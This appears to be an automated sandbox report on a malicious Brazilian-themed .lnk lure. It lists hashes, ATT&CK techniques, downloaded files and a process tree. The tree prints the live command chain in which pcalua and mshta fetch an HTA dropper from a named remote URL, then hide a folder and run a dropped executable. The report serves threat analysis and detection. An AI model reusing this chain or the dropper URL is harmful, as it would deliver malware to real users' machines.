11697385efeae82dcabf246d4c4be611963bbeb75aad0fd0f8d8188bb2837b80

General

Target
Contrato_Indeniza_Brasil-K1U892.lnk
Size 1KB
Sample260803-pyc4eay1g1
SHA256 11697385efeae82dcabf246d4c4be611963bbeb75aad0fd0f8d8188bb2837b80
MD5 5c7eea3e7aebb92bbef2d01823c98b69
SHA1 d9dc43fb22e77096ef1e7fce2b9fcaa2c20e7158
SHA512 413c5cfa60da175d70d2e39725448b823713e64b15bd28dcb6d35ace4ce30638fac56d614ad84b485778274a16c7aac0c83348c96c154ff882ec9825b3c40fb8
TLSH
T1D53126003EFD0724F3B7DE76557BAB1099FBF9968E118A1D408446481466A04E57EFB3
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4960	mshta.exe
3	4960	mshta.exe
4	4960	mshta.exe
5	4960	mshta.exe
6	4960	mshta.exe
7	4960	mshta.exe
9	4960	mshta.exe
10	4960	mshta.exe
11	4960	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4864	cmd.exe
1196	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1196	cmd.exe
4868	PING.EXE

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4868	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4764	rundll32.exe
2436	rundll32.exe
5640	rundll32.exe
4108	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4864 wrote to memory of 2920	4864	cmd.exe	90
PID 2920 wrote to memory of 4960	2920	pcalua.exe	91
PID 4960 wrote to memory of 4764	4960	mshta.exe	94
PID 4960 wrote to memory of 2436	4960	mshta.exe	95
PID 4960 wrote to memory of 5640	4960	mshta.exe	96
PID 4960 wrote to memory of 4108	4960	mshta.exe	97
PID 4960 wrote to memory of 1088	4960	mshta.exe	98
PID 4108 wrote to memory of 804	4108	rundll32.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1088	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-K1U892.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4864
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:4764
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:1488
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:2436
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3408
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5640
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:2960
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4108
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:804
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\gtxiqrby\"
      4⤵
      Views/modifies file attributes
      PID:1088
  - - C:\gtxiqrby\gtxiqrby.exe
      "C:\gtxiqrby\gtxiqrby.exe" C:\gtxiqrby\gtxiqrby
      4⤵
      PID:5012
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:6036
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:5692
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:1196
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4868

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

a1.zip

Path C:\gtxiqrby\a1.zip
Size 494KB
SHA256 b06d1551407351b26def000a0d6fc2964d96af2e9a1227854f761d6e86dc49e7
MD5 0bd414adcb08f27c235e2134463bed9f
SHA1 8384268a936d338229ce12f0b0d5b0022090220e
SHA512 15c27e31485315806acd04965e92bf036de93f10e178e8c99d72163b6d28f70e31d010aa1df964bf48cea8d819ad954404cdae15a18554f108f23f68e5b1539a
SSDEEP 12288:yxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrII:yq7hblmK/dgGeVlk22aCarII
TLSH
T1D2B4231C22C5BD086D3D97FB58539F7805E6269E14B8024CE18B73C4ABCEF815F829E6
MD5 SHA1 SHA512 SSDEEP TLSH

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a2.zip

Path C:\gtxiqrby\a2.zip
Size 1.3MB
SHA256 a3f86a554f82d9a2259799c6bf9b4e18f4f0d3c878a9f2ae6496a3b52d41b26a
MD5 05c860e75bdf4d0455c582f431648b5b
SHA1 6089cb6b495cfa28c4cc7793c2ad0fa5404d50d9
SHA512 71d22b59274fb52eae9bd3d1ec35620efec7eda24471a444c6d2e2cf921187b0e30a821dc984f9442c5907ba6842377390075de86b38e10a5e7811fbe41b3324
SSDEEP 24576:cAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyaq:cAuSw7Ku4xpSd7m7BlgVQmvQJH1tn
TLSH
T153553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

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a3.zip

Path C:\gtxiqrby\a3.zip
Size 2KB
SHA256 9b9ef6d93e84a384186972754f2cd49d965bbf1e6a0eaaa068e2028bf70d8ace
MD5 6d4ab3b7f3d8aafe1c74520b3b16623f
SHA1 bd9b982aa0e5d531a89c31247058e0afc64a85ef
SHA512 d7626aa0039ef9fbc3a07fe52b3a077540ab887e97343747bb635cd9c0580b96791003e04fdbcda96aad6f400e15fe5d763ba4e0f9afda23b12f2fd59a244379
TLSH
T12A414CE88DBDBDA0D68E79B49A14587155372EC499C066681FBFEC042230398CF2F46D
MD5 SHA1 SHA512 TLSH

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gtxiqrby

Path C:\gtxiqrby\gtxiqrby
Size 1.3MB
SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
MD5 3acd16edf0a4a2c6ece5bdb47bbfe252
SHA1 f2c68a96d6233778d1900a859ff089284c1672f2
SHA512 db484aa924751393a2bb72b482dea0882e2ea077a48f24e9535c1dd4fb49491779832533a50b509770220503952dc01253e62205b3a376ee4660d7c7f3348172
SSDEEP 24576:wAsYBwwc6NnutqPLth3SduIE0mcKppG2RgzTckokmGpVQpHH3tghysG:wAsiw7WuYn3Sdpm7PRgzIYrQhH3tb
TLSH
T121553355B7EDDF04E0BD51A1D9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gtxiqrby.exe

Path C:\gtxiqrby\gtxiqrby.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4960-40-0x0000019103F60000-0x0000019104050000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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